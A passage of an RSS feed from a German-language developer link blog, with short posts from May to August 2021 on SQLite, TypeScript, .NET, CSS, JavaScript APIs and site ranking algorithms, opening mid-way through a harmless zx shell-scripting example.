  $`sleep 3; echo 3`,
])

let name = &apos;foo bar&apos;
await $`mkdir /tmp/${name}`
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/05/13/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/05/13/0.html</guid><pubDate>Thu, 13 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Falls Ihr Node.js/JavaScript und Promises verwendet: &lt;a href=&quot;https://www.youtube.com/watch?v=XV-u_Ow47s0&quot;&gt;Diesen Talk solltet Ihr gesehen haben&lt;/a&gt;. Schickt ihn am besten auch an Eure Kollegen. Prämisse: &lt;em&gt;Ihr benutzt wahrscheinlich Promises falsch&lt;/em&gt;. Kann man auch auf 1.25-facher Geschwindigkeit schauen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/05/17/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/05/17/0.html</guid><pubDate>Mon, 17 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Die heutige SQLite-News: &lt;a href=&quot;https://sqlite.org/fts5.html&quot;&gt;SQLite hat eine Volltextsuche&lt;/a&gt;. War unter &lt;a href=&quot;https://nickb.dev/blog/replacing-elasticsearch-with-rust-and-sqlite&quot;&gt;diesem Artikel&lt;/a&gt; verlinkt, der eine Elasticsearch-Instanz mit SQLite ersetzt hat.&lt;/p&gt;
&lt;p&gt;SQLite überrascht mich immer wieder.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/05/18/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/05/18/0.html</guid><pubDate>Tue, 18 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://itunsecurity.wordpress.com/2021/05/18/the-road-to-hell-is-paved-with-eicar/&quot;&gt;Ideen, wo man das EICAR-AV-Testfile überall eingeben könnte&lt;/a&gt;. Naja, eigentlich überall, wo man auch SQL-Injections probieren könnte.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/05/21/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/05/21/0.html</guid><pubDate>Fri, 21 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Mittlerweile kann jeder nennenswerte Browser das &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/backdrop-filter&quot;&gt;&lt;code&gt;backdrop-filter&lt;/code&gt;-Attribut in CSS&lt;/a&gt;.
Damit kann man diverse Filter auf das anwenden, was hinter einem HTML-Element liegt. Z. B. einen Weichzeichner, Graustufen, Sepia etc.&lt;/p&gt;
&lt;p&gt;Früher war das immer kompliziert, wenn Leute Aero-Effekt von Vista nachbauen wollten; jetzt geht das mit einer CSS-Eigenschaft.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/05/21/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/05/21/1.html</guid><pubDate>Fri, 21 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.sublimetext.com/blog/articles/sublime-text-4&quot;&gt;Sublime Text 4 ist da&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/05/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/05/24/0.html</guid><pubDate>Mon, 24 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Es gibt ja so diverse Blog-Posts, die man als Internetmensch normalerweise mal gesehen hat. Ich fange hier mal eine Serie an.&lt;/p&gt;
&lt;p&gt;Der Anfang ist: &lt;a href=&quot;https://mobiforge.com/research-analysis/the-web-is-doom&quot;&gt;The Web is Doom&lt;/a&gt; aus 2016. Grundaussage: Die durchschnittliche Webseite ist heute (also das Heute von 2016) größer als das erste DOOM, dem 2.5D-Shooter.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/05/24/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/05/24/1.html</guid><pubDate>Mon, 24 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Warum ich überhaupt auf den DOOM-Post gekommen bin: Es gibt auch ein CAPTCHA, &lt;a href=&quot;https://github.com/vivirenremoto/doomcaptcha&quot;&gt;in dem man in einem fake-DOOM mindestens 4 Gegner treffen muss&lt;/a&gt;. Ist natürlich nicht das &quot;echte&quot; DOOM. Aber möglich wäre das sicherlich über WebAssembly und WebGL. Und bei der Durchschnittsgröße einer Webseite heutzutage würde es vermutlich nicht mal auffallen, wenn man das komplette DOOM nur für das CAPTCHA lädt.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/05/24/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/05/24/2.html</guid><pubDate>Mon, 24 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Der nächste Klassiker-Post: &lt;a href=&quot;http://haacked.com/archive/2007/08/21/i-knew-how-to-validate-an-email-address-until-i.aspx/&quot;&gt;I Knew How To Validate An Email Address Until I Read The RFC&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Auch schon etwas älter (2007), aber hat nicht an Relevanz verloren. Auf HN war auch gerade ein &lt;a href=&quot;https://www.netmeister.org/blog/email.html&quot;&gt;passender Post dazu&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/05/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/05/25/0.html</guid><pubDate>Tue, 25 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Gerade hat Microsoft ihre Entwicklerkonferenz BUILD. Da kam jetzt auch eine neue Preview-Version von .NET 6 raus. &lt;a href=&quot;https://devblogs.microsoft.com/dotnet/announcing-net-6-preview-4/&quot;&gt;Hier gibt es einen Artikel über die Neuerungen&lt;/a&gt;. Viel cooles dabei. Am meisten freuen mich die neuen Funktionen in der LINQ.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/05/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/05/26/0.html</guid><pubDate>Wed, 26 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-4-3-rc/&quot;&gt;TypeScript 4.3&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/05/29/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/05/29/0.html</guid><pubDate>Sat, 29 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein weiterer Blog-Post, den viele kennen: &lt;a href=&quot;https://eev.ee/blog/2012/04/09/php-a-fractal-of-bad-design/&quot;&gt;PHP: a fractal of bad design&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Ist auch schon etwas älter (2012). In der Zeit hat sich fairerweise auch schon viel getan. Das meiste ist aber irreversibel in der Sprache verankert.
Versteht mich nicht falsch, ich will hier ein sinnloses PHP-gebashe betreiben. Man kann PHP durchaus für Dinge verwenden. Es ist halt eine von vielen möglichen Lösungen.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/06/03/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/06/03/0.html</guid><pubDate>Thu, 03 Jun 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Was ist Euer lieblings-Hex-Editor? hxd? 010?&lt;/p&gt;
&lt;p&gt;Schon mal &lt;a href=&quot;https://twitter.com/sirocyl/status/1399617108305223682&quot;&gt;Audacity versucht&lt;/a&gt;?&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/06/05/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/06/05/0.html</guid><pubDate>Sat, 05 Jun 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Einer meiner Lieblings-Youtuber, &lt;a href=&quot;https://www.youtube.com/channel/UCS0N5baNlQWJCUrhCEo8WlA&quot;&gt;Ben Eater&lt;/a&gt;, hat gerade ein neues Video hochgeladen: &lt;a href=&quot;https://www.youtube.com/watch?v=wdgULBpRoXk&quot;&gt;How does a USB keyboard work?&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Ich hab&apos;s noch nicht gesehen, kann aber jetzt schon sagen, dass es sich lohnt. In seinem Kanal baut+erklärt er diverse Dinge auf einem Breadboard. Z. B. einen &lt;a href=&quot;https://www.youtube.com/watch?v=HyznrdDSSGM&amp;amp;list=PLowKtXNTBypGqImE405J2565dvjafglHU&quot;&gt;8-Bit-Prozessor&lt;/a&gt;, eine &lt;a href=&quot;https://www.youtube.com/watch?v=l7rce6IQDWs&quot;&gt;VGA-Ansteuerung&lt;/a&gt; und eine &lt;a href=&quot;https://www.youtube.com/watch?v=7aXbh9VUB3U&quot;&gt;PS2-Tastatur-Ansteuerung&lt;/a&gt;. Er baut das nicht einfach so, sondern zeigt auch, wie man das an einen Prozessor anbindet (dem &lt;a href=&quot;https://de.wikipedia.org/wiki/MOS_Technology_6502&quot;&gt;6502&lt;/a&gt;). Wenn man also seinen Videos folgt, kann man schon einen Computer mit Tastatur und Bildschirm(en) auf einem Breadboard bauen... und jetzt kommt die erste USB-Peripherie!&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/06/11/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/06/11/0.html</guid><pubDate>Fri, 11 Jun 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Lesetipp: &lt;a href=&quot;https://www.nu42.com/2015/03/how-you-average-numbers.html&quot;&gt;Bei IEEE-floats macht es einen deutlichen Unterschied, in welcher Reihenfolge man sie addiert&lt;/a&gt;. Man kann Rundungsfehler so kleiner halten.&lt;/p&gt;
&lt;p&gt;Wem sowas wichtig ist, sollte natürlich einen Datentyp ohne dieses Problem wählen.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/06/15/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/06/15/0.html</guid><pubDate>Tue, 15 Jun 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Warum heißt es eigentlich &quot;Datenvolumen&quot;? Warum sind Daten ein Rauminhalt?&lt;/p&gt;
&lt;p&gt;Warum keine Länge oder Fläche? Oder eine ganz andere Basiseinheit, wie &quot;Datenmenge&quot; oder &quot;Datenmasse&quot;?&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/06/15/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/06/15/1.html</guid><pubDate>Tue, 15 Jun 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Der &lt;a href=&quot;https://www.webbloatscore.com&quot;&gt;Web-Bloat-Score (WebBS)&lt;/a&gt; ist eine interessante Metrik für überflüssiges Zeug in einer Webseite.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/06/17/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/06/17/0.html</guid><pubDate>Thu, 17 Jun 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://medium.com/nmc-techblog/advanced-console-log-tips-tricks-fa3762930bca&quot;&gt;Ein weiterer Beitrag über die praktischen Funktionen bei &lt;code&gt;console&lt;/code&gt; in JS&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/06/17/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/06/17/1.html</guid><pubDate>Thu, 17 Jun 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.w3.org/blog/news/archives/9093&quot;&gt;Die Web Audio API ist jetzt eine W3C-Empfehlung&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/06/21/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/06/21/0.html</guid><pubDate>Mon, 21 Jun 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Mit dem &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/itemprop&quot;&gt;&lt;code&gt;itemprop&lt;/code&gt;-Attribut&lt;/a&gt; kann man seinem HTML &lt;em&gt;noch&lt;/em&gt; mehr Semantik geben. Auszug aus MDN:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div itemscope itemtype=&quot;http://schema.org/Movie&quot;&amp;gt;
	&amp;lt;h1 itemprop=&quot;name&quot;&amp;gt;Avatar&amp;lt;/h1&amp;gt;
	&amp;lt;span&amp;gt;
		Director:
		&amp;lt;span itemprop=&quot;director&quot;&amp;gt;James Cameron&amp;lt;/span&amp;gt;
		(born August 16, 1954)
	&amp;lt;/span&amp;gt;
	&amp;lt;span itemprop=&quot;genre&quot;&amp;gt;Science fiction&amp;lt;/span&amp;gt;
	&amp;lt;a href=&quot;../movies/avatar-theatrical-trailer.html&quot; itemprop=&quot;trailer&quot;&amp;gt;Trailer&amp;lt;/a&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Auf MDN gibt&apos;s noch um einiges mehr Beispiele. U. a. auch das &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meter&quot;&gt;&lt;code&gt;meter&lt;/code&gt;-Element&lt;/a&gt;, um z. B. Bewertungen darzustellen:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	&amp;lt;meter itemprop=&quot;ratingValue&quot; min=0 value=3.5 max=5&amp;gt;Rated 3.5/5&amp;lt;/meter&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/06/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/06/24/0.html</guid><pubDate>Thu, 24 Jun 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=Asuka.insertnumbers&quot;&gt;Fortlaufende Zahlen in VSCode mit Multi-Cursor einfügen&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/06/30/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/06/30/0.html</guid><pubDate>Wed, 30 Jun 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.ecma-international.org/news/ecma-international-approves-new-standards-4/&quot;&gt;ES2021 wurde offiziell verabschiedet&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/06/30/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/06/30/1.html</guid><pubDate>Wed, 30 Jun 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Node.js hat eine API für &lt;a href=&quot;https://nodejs.org/dist/v16.4.0/docs/api/async_context.html&quot;&gt;einen asynchronen LocalStorage&lt;/a&gt; bekommen. Mal schauen, was es für coole Use-Cases es für den &lt;code&gt;asyncLocalStorage&lt;/code&gt; gibt. Erinnert ein bisschen an Reacts &lt;code&gt;useContext()&lt;/code&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/06/30/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/06/30/2.html</guid><pubDate>Wed, 30 Jun 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich schreib ja schon, dass die neue Temporal API jetzt in Stage 3 ist. &lt;a href=&quot;https://2ality.com/2021/06/temporal-api.html&quot;&gt;Hier ist noch ein schöner Walk-Through&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/07/01/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/07/01/0.html</guid><pubDate>Thu, 01 Jul 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Die Beta von TypeScript 4.4 wurde gerade veröffentlicht. &lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-4-4-beta/&quot;&gt;Sind ein paar schöne Neuerungen dabei&lt;/a&gt;. Vor allem die verbesserte Kontrollflussanalyse.
Mal schauen, was aus Inlay Hints wird. Die gibt&apos;s ja schon länger bei IntelliJ für Java (und vermutlich auch andere von denen supportete Sprachen). In der Preview sieht das noch sehr noisy aus.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/07/03/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/07/03/0.html</guid><pubDate>Sat, 03 Jul 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://youtu.be/Jib2AmRb_rk&quot;&gt;Cooler Talk vom SQLite-Erfinder über... SQLite&lt;/a&gt;. Er gibt ein bisschen an, ist aber IMHO ein guter Speaker, dem man gut zuhören kann.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/07/16/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/07/16/0.html</guid><pubDate>Fri, 16 Jul 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.reuters.com/business/intel-talks-buy-globalfoundries-about-30-billion-wsj-2021-07-15/&quot;&gt;Intel überlegt, GlobalFoundries zu kaufen&lt;/a&gt;. Die sind eine Ausgründung von AMD, welche ihre Sachen mittlerweile bei TSMC fertigen lassen.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/07/16/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/07/16/1.html</guid><pubDate>Fri, 16 Jul 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bin auf einen interessanten Youtube-Channel gestoßen: &lt;a href=&quot;https://www.youtube.com/channel/UCWvq4kcdNI1r1jZKFw9TiUA&quot;&gt;ScienceClic English&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Macht viel Physik, fast schon im &lt;a href=&quot;https://www.youtube.com/channel/UCYO_jab_esuFRV4b17AJtAw&quot;&gt;3blue1brown&lt;/a&gt;-Stil. Er geht auch relativ detailliert auf die Themen ein und redet nicht nur grob über Dinge, wie man es z. B. von Lesch kennt.&lt;/p&gt;
&lt;p&gt;In dem Kontext muss man natürlich auch &lt;a href=&quot;https://www.youtube.com/c/SabineHossenfelder&quot;&gt;Sabine Hossenfelder&lt;/a&gt; und &lt;a href=&quot;https://www.youtube.com/channel/UC7_gcs09iThXybpVgjHZ_7g&quot;&gt;PBS Space Time&lt;/a&gt; erwähnen. Vielleicht auch noch den &lt;a href=&quot;https://www.youtube.com/user/UrknallWeltallLeben&quot;&gt;Urknall, Weltall, Leben-Channel&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Update 2023: &lt;a href=&quot;https://www.youtube.com/@dialectphilosophy&quot;&gt;Dialect&lt;/a&gt; ist auch noch super.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/07/19/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/07/19/0.html</guid><pubDate>Mon, 19 Jul 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://medium.com/hacking-and-gonzo/how-reddit-ranking-algorithms-work-ef111e33d0d9&quot;&gt;Wie Reddit ihre Dinge (Kommentare, Posts) sortiert&lt;/a&gt; (oder es zumindest mal getan hat).
Reddit war wohl vor ein paar Jahren auch noch open source.
&lt;a href=&quot;https://github.com/reddit-archive/reddit/blob/master/r2/r2/lib/db/_sorts.pyx&quot;&gt;Hier&lt;/a&gt; gibt&apos;s den originalen Quelltext davon.
Dieses Ranking-System wird auch auf pr0gramm verwendet.&lt;/p&gt;
&lt;p&gt;&amp;lt;!--
$$
t_{\Delta} = t_{posted} - t_{now}
$$
$$
v_{\Delta} = v_{up} - v_{down}
$$
$$
rating_{hot}(t_{\Delta}, v_{\Delta})= \frac{sign \left(v_{\Delta}\right)t_{\Delta}}{45000} + log_{10}\left(max\left{|x|, 1\right}\right)
$$
--&amp;gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/07/19/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/07/19/1.html</guid><pubDate>Mon, 19 Jul 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wo wir gerade bei Ratings waren: &lt;a href=&quot;https://medium.com/hacking-and-gonzo/how-hacker-news-ranking-algorithm-works-1d9b0cf2c08d&quot;&gt;Hier eine Analyse, wie es möglicherweise bei Hacker News funktioniert&lt;/a&gt;. &lt;a href=&quot;http://www.righto.com/2013/11/how-hacker-news-ranking-really-works.html&quot;&gt;Hier ist noch eine andere Analyse&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/07/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/07/26/0.html</guid><pubDate>Mon, 26 Jul 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://youtu.be/D-mM6X5xnTY&quot;&gt;Ein kleiner Überblick, was in AVX-512 neu ist&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/07/31/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/07/31/0.html</guid><pubDate>Sat, 31 Jul 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ihr erinnert Euch vielleicht an die eine Seite, die eine SQLite-Datei mit Range-Requests serviert hat, um dann Clientseitig SQL-Statements per HTTP darauf abzusetzen (Zugriff auf Offsets in der SQLite-Datei wurden auf Range-Requests gemappt).&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://static.wiki&quot;&gt;Hier hat das jemand genommen und die gesamte Wikipedia in eine SQLite-Datei gepackt&lt;/a&gt;. Also mit Volltextsuche und ohne wirkliches Backend.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=28012829&quot;&gt;HN dazu&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/01/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/01/0.html</guid><pubDate>Sun, 01 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Git hat 2 eher weniger bekannte Commands: &lt;a href=&quot;https://www.banterly.net/2021/07/31/new-in-git-switch-and-restore/&quot;&gt;&lt;code&gt;switch&lt;/code&gt; und &lt;code&gt;restore&lt;/code&gt;&lt;/a&gt;. Machen beide ein bisschen das, was man sonst mit &lt;code&gt;checkout&lt;/code&gt; gemacht hat.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/03/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/03/0.html</guid><pubDate>Tue, 03 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Mit &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window/find&quot;&gt;&lt;code&gt;window.find&lt;/code&gt;&lt;/a&gt; (achtung, Non-Standard) kann man Strings im Fenster der Webseite finden.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/05/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/05/0.html</guid><pubDate>Thu, 05 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://dns.google&quot;&gt;dns.google&lt;/a&gt; ist nicht nur die Domain des Anfragen-trackenden DNS-Servers von Google (die berühmten vier achten). Die haben eine praktische GUI, mit der man mal eine Test-Anfrage machen kann.&lt;/p&gt;
&lt;p&gt;Wer nicht weiß, welchen DNS-Server man als Upstream verwenden könnte, wenn nicht Google, Cloudflare, etc.: &lt;a href=&quot;https://digitalcourage.de/support/zensurfreier-dns-server&quot;&gt;digitalcourage&lt;/a&gt; hat da welche.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/10/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/10/0.html</guid><pubDate>Tue, 10 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Gerade ist eine &lt;a href=&quot;https://devblogs.microsoft.com/dotnet/announcing-net-6-preview-7/&quot;&gt;neue .NET-Preview&lt;/a&gt; veröffentlich worden. Bis auf ein paar Library-Neuerungen ist vor allem eines neu: Statische Interface-Member.&lt;/p&gt;
&lt;p&gt;Damit kann man diverse Patterns, wie z. B. &lt;code&gt;Parse&lt;/code&gt; + &lt;code&gt;TryParse&lt;/code&gt; jetzt als Interface-Methoden definieren (das ging vorher nicht, weil die beiden Methoden statisch sind und Interfaces auf Instanzmethoden beschränkt waren). &lt;a href=&quot;https://devblogs.microsoft.com/dotnet/preview-features-in-net-6-generic-math/&quot;&gt;Jetzt geht das&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Damit lässt sich jetzt sehr viel machen, z. B. mathematische Operatoren über generische Interfaces zu definieren. Dann kann einer Library egal sein, welchen Typ man reinwirft, hauptsache er &quot;kann Addition&quot; (überladene Operatoren sind auch statische Methoden, deshalb ging das bisher nicht). Natürlich gehen auch Vergleichsoperatoren, die bisher über das &lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/api/system.icomparable-1?view=net-5.0&quot;&gt;&lt;code&gt;IComparable&amp;lt;T&amp;gt;&lt;/code&gt;-Interface&lt;/a&gt; liefen.&lt;/p&gt;
&lt;p&gt;Wenn man da jetzt die Mathematiker drauf lässt, bekommt man sicher ganz viele Gruppen, Monoiden, Ringe, Körper und noch ganz andere viele Dinge. Ich hoffe, dass der JIT damit ordentlich umgehen kann.
Bei den Gleichheitsoperatoren fällt mir jetzt auf, dass sie nicht zwischen Partieller Gleichheit und totaler Gleichheit unterscheiden, &lt;a href=&quot;https://users.rust-lang.org/t/what-is-the-difference-between-eq-and-partialeq/15751&quot;&gt;wie Rust das macht&lt;/a&gt;. Generell wirkt es etwas, wie &lt;a href=&quot;https://en.wikipedia.org/wiki/Concepts_(C%2B%2B)&quot;&gt;Concepts aus C++&lt;/a&gt;. Vielleicht ein bisschen weniger mächtig.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/12/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/12/0.html</guid><pubDate>Thu, 12 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-4-4-rc/&quot;&gt;TypeScript 4.4 ist da&lt;/a&gt; (als RC). Die Neuerungen sind im Prinzip &lt;a href=&quot;/2021/07/01/0.html&quot;&gt;gleich zu der Beta&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Im Vergleich zur Beta ist vor allem neu, dass es jetzt einen &lt;code&gt;static&lt;/code&gt;-Initializer gibt, der aus einem &lt;a href=&quot;https://github.com/tc39/proposal-class-static-block#ecmascript-class-static-initialization-blocks&quot;&gt;ES-Proposal&lt;/a&gt; kommt.&lt;/p&gt;
&lt;p&gt;Wer es nicht kennt, das ist quasi ein Konstruktor für die statischen Elemente einer Klasse. Gibt es mit derselben Syntax auch in C# und Java. Bei C# heißt das Class Construtor (cctor, &lt;a href=&quot;https://stackoverflow.com/questions/9398509&quot;&gt;Erklärung&lt;/a&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class C {
  static x = ...;
  static y;
  static z;

  static {
    try {
      const obj = doSomethingWith(this.x);
      this.y = obj.y;
      this.z = obj.z;
    }
    catch {
      this.y = ...;
      this.z = ...;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(&lt;code&gt;this&lt;/code&gt; zeigt im statischen Kontext auf die Klasse, nicht auf eine Instanz)&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/14/0.html</guid><pubDate>Sat, 14 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.debian.org/releases/bullseye/amd64/release-notes/&quot;&gt;Debian 11&lt;/a&gt;&lt;/p&gt;
